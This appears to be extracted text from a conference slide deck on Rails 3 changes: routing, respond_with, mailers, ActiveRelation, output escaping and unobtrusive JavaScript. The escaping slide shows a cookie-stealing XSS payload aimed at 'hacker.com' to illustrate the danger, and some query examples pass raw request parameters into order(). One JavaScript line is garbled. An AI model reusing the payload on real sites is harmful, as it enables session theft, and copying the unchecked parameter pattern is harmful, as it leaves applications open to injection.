Starting a new app
New Router API
ActionController - respond_with
ActionMailer Syntax
ActiveRelation (arel)
ERB Strings Escaped
Unobtrusive Javascript
Starting a New App

$ rails

Usage:
    rails APP_PATH [options]

Options:
- `-O`, `[--skip-activerecord]`  # Skip ActiveRecord files
- `-r`, `[--ruby=PATH]`          # Path to the Ruby binary of your choice
  # Default: /Users/greggpollack/.rvm/rubies/ruby-1.8.7-p248/bin/ruby
- `-T`, `[--skip-testunit]`      # Skip TestUnit files
  `[--dev]`  
  # Setup the application with Gemfile pointing to your rails checkout
- `-J`, `[--skip-prototype]`     # Skip Prototype files
- `-G`, `[--skip-git]`           # Skip Git ignores and keeps
- `-m`, `[--template=TEMPLATE]`  # Path to an application template
- `-d`, `[--database=DATABASE]`  # Preconfigure for selected database
  `[--edge]`  
  # Setup the application with Gemfile pointing to Rails repository
$ rails test_app
    create
    create README
    create .gitignore
...
$ ls script/
rails

$ cd test_app/
$ rails
Usage: rails COMMAND [ARGS]

The most common rails commands are:

generate       Generate new code (short-cut alias: "g")
console        Start the Rails console (short-cut alias: "C")
server         Start the Rails server (short-cut alias: "S")
dbconsole      Start a console for the database specified in config/database.yml
                (short-cut alias: "db")

In addition to those, there are:

application    Generate the Rails application code
destroy        Undo code generated with "generate"
benchmarker    See how fast a piece of code runs
profiler       Get profile information from a piece of code
plugin         Install a plugin
runner         Run a piece of code in the application environment

All commands can be run with -h for more information.
old scripts

- script/generate
- script/console
- script/server
- script/dbconsole

new hotness

- rails g
- rails c
- rails s
- rails db
script/generate

old scripts

new hotness

script/console

script/server

script/dbconsole

alias r='rails'
New Router API
TestApp::Application.routes.draw do |map|
  map.resources :posts
end
config/routes.rb

TestApp::Application.routes.draw do |map|
  resources :posts
end
New Routing API

Rails 2

map.resources :posts do |post|
  post.resources :comments
end

Rails 3

resources :posts do
  resources :comments
end
map.resources :posts, :member => { :confirm => :post, :notify => :post } do |post|
  post.resources :comments, :member => { :preview => :post }, :collection => { :archived => :get }
end

resources :posts do
  member do
    post :confirm
    get :notify
  end

  resources :comments do
    member do
      post :preview
    end

    collection do
      get :archived
    end
  end
end

resources :posts do
  member do
    post :confirm
    get :notify
  end

  resources :comments do
    member do
      post :preview, :on => :member
      get :archived, :on => :collection
    end
  end
end
Rails 2

map.connect 'login', :controller => 'session', :action => 'new'

Rails 3

match 'login' => 'session#new'

Named Route

login_path

Rails 2

map.login 'login', :controller => 'session', :action => 'new'

Rails 3

match 'login' => 'session#new', :as => :login
Rails 2

map.root :controller => "users"

Rails 3

root :to => "users#index"

Legacy Route

Rails 2

map.connect ':controller/:action/:id'
map.connect ':controller/:action/:id.:format'

Rails 3

match ':controller(/:action(/:id(:format))))'

(commented out by default)
For more information
http://guides.rails.info/routing.html
Starting a new app
New Router API
**ActionController** - `respond_with`
ActionMailer Syntax
ActiveRelation (arel)
ERB Strings Escaped
Unobtrusive Javascript

#Rails30MG Ponies!
class UsersController < ApplicationController

  def index
    @users = User.all

    respond_to do |format|
      format.html
      format.xml { render :xml => @users.to_xml }
    end
  end

  def show
    @user = User.find(params[:id])

    respond_to do |format|
      format.html # show.html.erb
      format.xml { render :xml => @user }
    end
  end

  ...

class UsersController < ApplicationController
  respond_to :html, :xml, :json

  def index
    @users = User.all
    respond_with(@users)
  end

  def show
    @user = User.find(params[:id])
    respond_with(@user)
  end

  ...

New ActionMailer Syntax

Rails 2

$script/generate mailer UserMailer welcome forgot_password

create app/models/user_mailer.rb

Rails 3

$r g mailer UserMailer welcome forgot_password

create app/mailers/user_mailer.rb
def welcome(user, subdomain)
    subject 'Welcome to TestApp'
    recipients user.email
    from 'admin@testapp.com'

    body :user => user, :subdomain => subdomain
end

UserMailer.deliver_welcome(user, subdomain)

def welcome(user, subdomain)
    @user = user
    @subdomain = subdomain

    mail(:from => "admin@testapp.com",
         :to => user.email,
         :subject => "Welcome to TestApp")
end

UserMailer.welcome(user, subdomain).deliver
class UserMailer < ActionMailer::Base

  default :from => "admin@testapp.com"

  def welcome(user, subdomain)
    @user = user
    @subdomain = subdomain

    attachments['test.pdf'] = File.read("#{Rails.root}/public/test.pdf")

    mail(:to => @user.email, :subject => "Welcome to TestApp") do |format|
      format.html { render 'other_html_welcome' }
      format.text { render 'other_text_welcome' }
    end
  end
end

Defaults
  welcome.text.erb
  welcome.html.erb
ActiveRelation replaces the internal ad-hoc query generation with query generation based on relational algebra.
Rails 2

```ruby
@posts = Post.find(:all, :conditions => {:published => true})
```

immediately queries the db
returns an Array of Posts

Rails 3

```ruby
@posts = Post.where(:published => true)
```

doesn’t query the db
returns an ActiveRecord::Relation
@posts = Post.where(:published => true)

if params[:order]
    @posts = @posts.order(params[:order])
end

@posts.each do |p|
    ...
end
We can refactor!

```ruby
@posts = Post.where(:published => true)
if params[:order]
  @posts = @posts.order(params[:order])
end
```

```ruby
@posts = Post.where(:published => true)
@posts = @posts.order(params[:order])
```

```ruby
@posts = Post.where(:published => true).order(params[:order])
```
ActiveRelations can be Shared

```ruby
@posts = Post.where(:published => true).order(params[:order])

posts = Post.order(params[:order])

@published = posts.where(:published => true)
@unpublished = posts.where(:published => false)

This is obviously a bad example (should be using named routes)

@published = Post.published
@unpublished = Post.unpublished
```
@published = Post.published
@unpublished = Post.unpublished

class Post < ActiveRecord::Base
  default_scope :order => 'title'

  named_scope :published, :conditions => {:published => true}
  named_scope :unpublished, :conditions => {:published => false}
end

class Post < ActiveRecord::Base
  default_scope order('title')

  scope :published, where(:published => true)
  scope :unpublished, where(:published => false)
end
New Finder Methods

where(:conditions)
having(:conditions)
select
group
order
limit
offset
joins
includes(:include)
lock
readonly
from
Post.find(:all, :conditions => { :author => "Joe" }, :includes => :comments, :order => "title", :limit => 10)

Remember, this version doesn’t do the query immediately
Beautiful Code in Rails 3

Starting a new app
New Router API
ActionController - respond_with
ActionMailer Syntax
ActiveRelation (arel)
ERB Strings Escaped
Unobtrusive Javascript

#Rails3OMGPonies!
Erubis is a fast, secure, and very extensible implementation of ERB
Cross-Site Scripting (XSS)

New post

Title

Body
<script>document.location='http://hacker.com/read_cookies?'+document.cookie+'</script>

Rails 2
<%= @post.body %>
(unsafe)

Rails 2
<%= h @post.body %>
(safe)

Rails 3
<%= raw @post.body %>
(unsafe)

Rails 3
<%= @post.body %>
(safe)
Adopting Unobtrusive Javascript

**HTML 5 custom data attributes**

Custom data attributes are intended to store custom data private to the page or application, for which there are no more appropriate attributes or elements.

- `data-remote`
- `data-method`
- `data-confirm`
- `data-disable-with`
Adopting Unobtrusive Javascript

Rails 2

<%= link_to_remote 'Show', :url => post %>

Rails 3

<%= link_to 'Show', post, :remote => true %>

<a href="#" onclick="new Ajax.Request('/posts/1', {asynchronous:true, evalScripts:true, parameters:'authenticity_token=' + encodeURICOMPONENT('9sk..44d')}); return false;">Show</a>

<a href="/posts/1" data-remote="true">Show</a>
Adopting Unobtrusive Javascript

Rails 2

```ruby
<% remote_form_for(@post) do |f| %>

<% form_for(@post, :remote => true) do |f| %>

<% form action="/posts" class="new_post" id="new_post" method="post" onsubmit="new Ajax.Request('/posts', {asynchronous:true, evalScripts:true, parameters:Form.serialize(this)}); return false;">
```
Adopting Unobtrusive Javascript

Rails 2

```ruby
<%= link_to 'Destroy', post, :method => :delete %>
```

Rails 3

```html
<a href="/posts/1" data-method="delete" rel="nofollow">Destroy</a>
```

```html
<a href="/posts/1" onclick="var f = document.createElement('form'); f.style.display = 'none'; this.parentNode.appendChild(f); f.method = 'POST'; f.action = this.href; var m = document.createElement('input'); m.setAttribute('type', 'hidden'); m.setAttribute('name', '_method'); m.setAttribute('value', 'delete'); f.appendChild(m); var s = document.createElement('input'); s.setAttribute('type', 'hidden'); s.setAttribute('name', 'authenticity_token'); s.setAttribute('value', '9skdJ0k+l9/q3PWTsz6MtfyiB2gcynKubeGV6WFL44='); f.appendChild(s); f.submit(); return false;">Destroy</a>
```

```html
<a href="/posts/1" data-method="delete" rel="nofollow">Destroy</a>
```
Adopting Unobtrusive Javascript

Rails 2  Rails 3

```<%= link_to 'Destroy', post, :confirm => 'Are you sure?', :method => :delete %>```
Adopting Unobtrusive Javascript

Rails 2

```ruby
<%= f.submit 'Create Post', :disable_with => 'Please wait...' %>
```

```html
<input id="post_submit" name="commit" onclick="if (window.hiddenCommit) {
    window.hiddenCommit.setAttribute('value', this.value);
} else {
    hiddenCommit = document.createElement('input');
    hiddenCommit.type = 'hidden';
    hiddenCommit.value = this.value;
    hiddenCommit.name = this.name;
    this.form.appendChild(hiddenCommit);
}
this.setAttribute('originalValue', this.value);
this.disabled = true;
this.value = 'Please wait...';
result = (this.form.onSubmit ? (this.form.onSubmit() ? this.form.submit() : false) : this.form.submit());
if (result === false) {
    this.value = this.getAttribute('originalValue');
    this.disabled = false;
}
return result;" type="submit" value="Create Post"/>
```

Rails 3

```ruby
<%= f.submit :disable_with => "Please wait..." %>
```

```html
<input data-disable-with="Please wait..."
    id="post_submit" name="commit" type="submit" value="Create Post"/>
```

Notice, the button label has an intellgent default
Adopting Unobtrusive Javascript

HTML 5 custom data attributes

- `data-remote`
- `data-method`
- `data-confirm`
- `data-disable-with`
document.observe("dom:loaded", function() {

$(document.body).observe("click", function(event) {

    var message = event.element().readAttribute('data-confirm');
    if (message) {
        // ... Do a confirm box
    }

    var element = event.findElement("a[data-remote=true]"pesan
    if (element) {
        // ... Do the AJAX call
    }

    var element = event.findElement("a[data-method]");
    if (element) {
        // ... Create a form
    }
});
jQuery in Rails?

http://github.com/rails/jquery-ujs

```javascript
$('[data-confirm],input[data-confirm]').live('click', function () {
    // ... Do a confirm box
});

$('form[data-remote="true"]').live('submit', function (e) {
    // ... Do an AJAX call
});
```
Deprecated Methods

- link_to_remote
- remote_form_for
- observe_field
- observe_form
- form_remote_tag
- button_to_remote
- submit_to_remote
- link_to_function
- periodically_call_remote

**prototype_legacy_helper**

http://github.com/rails/prototype_legacy_helper
Beautiful Code in Rails 3

- Starting a new app
- New Router API
- ActionController - respond_with
- ActionMailer Syntax
- ActiveRelation (arel)
- ERB Strings Escaped
- Unobtrusive Javascript

#Rails3OMGPonies!
Missing APIs
(that I didn’t have time for)

Bundler
http://railscasts.com/episodes/201-bundler

Making Generators with Thor
<table>
<thead>
<tr>
<th>name</th>
<th>author</th>
<th>URL</th>
</tr>
</thead>
<tbody>
<tr>
<td>rainbow of 80s toys</td>
<td>merwing☯little dear</td>
<td><a href="http://www.flickr.com/photos/merwing/2152164258/">http://www.flickr.com/photos/merwing/2152164258/</a></td>
</tr>
<tr>
<td>Old Loc</td>
<td>Merlijn Hoek</td>
<td><a href="http://www.flickr.com/photos/merlijnhoek/1040997599/">http://www.flickr.com/photos/merlijnhoek/1040997599/</a></td>
</tr>
<tr>
<td>Notting Hill Gate</td>
<td>Eole</td>
<td><a href="http://www.flickr.com/photos/eole/942309733/">http://www.flickr.com/photos/eole/942309733/</a></td>
</tr>
<tr>
<td>Britomart Train Station</td>
<td>EssjayNZ</td>
<td><a href="http://www.flickr.com/photos/essjay/260511465/">http://www.flickr.com/photos/essjay/260511465/</a></td>
</tr>
<tr>
<td>Das Licht</td>
<td>Small</td>
<td><a href="http://www.flickr.com/photos/small/62713023/">http://www.flickr.com/photos/small/62713023/</a></td>
</tr>
<tr>
<td>Metro Genova</td>
<td>opti mystic</td>
<td><a href="http://www.flickr.com/photos/miiilio/2503634282/">http://www.flickr.com/photos/miiilio/2503634282/</a></td>
</tr>
<tr>
<td>Immobility Dilemna</td>
<td>gilderic</td>
<td><a href="http://www.flickr.com/photos/gilderic/3528157964/">http://www.flickr.com/photos/gilderic/3528157964/</a></td>
</tr>
<tr>
<td>train station</td>
<td>nolifebeforecoffee</td>
<td><a href="http://www.flickr.com/photos/nolifebeforecoffee/1803584805/">http://www.flickr.com/photos/nolifebeforecoffee/1803584805/</a></td>
</tr>
<tr>
<td>Mystical station</td>
<td>Jsome1</td>
<td><a href="http://www.flickr.com/photos/jsome1/2226394415/">http://www.flickr.com/photos/jsome1/2226394415/</a></td>
</tr>
<tr>
<td>Railswaystation</td>
<td>Pieter Musterd</td>
<td><a href="http://www.flickr.com/photos/piet_musterd/2233025691/">http://www.flickr.com/photos/piet_musterd/2233025691/</a></td>
</tr>
<tr>
<td>The Handover</td>
<td>MarkyBon</td>
<td><a href="http://www.flickr.com/photos/markybon/152769885/">http://www.flickr.com/photos/markybon/152769885/</a></td>
</tr>
<tr>
<td>EN57</td>
<td>magro_kr</td>
<td><a href="http://www.flickr.com/photos/iks_berto/1328682171/">http://www.flickr.com/photos/iks_berto/1328682171/</a></td>
</tr>
</tbody>
</table>
Presentation by:

envylabs

http://envylabs.com

Gregg Pollack

407-754-5517

Gregg@EnvyLabs.com

Ruby5 Podcast

http://ruby5.envylabs.com

If you need help with a Rails 3 project, feel free to give us a call

Come to our Rails 3 training at Railsconf 2010


We’re also available to run Rails 3 Training at your company, email:

Gregg@EnvyLabs.com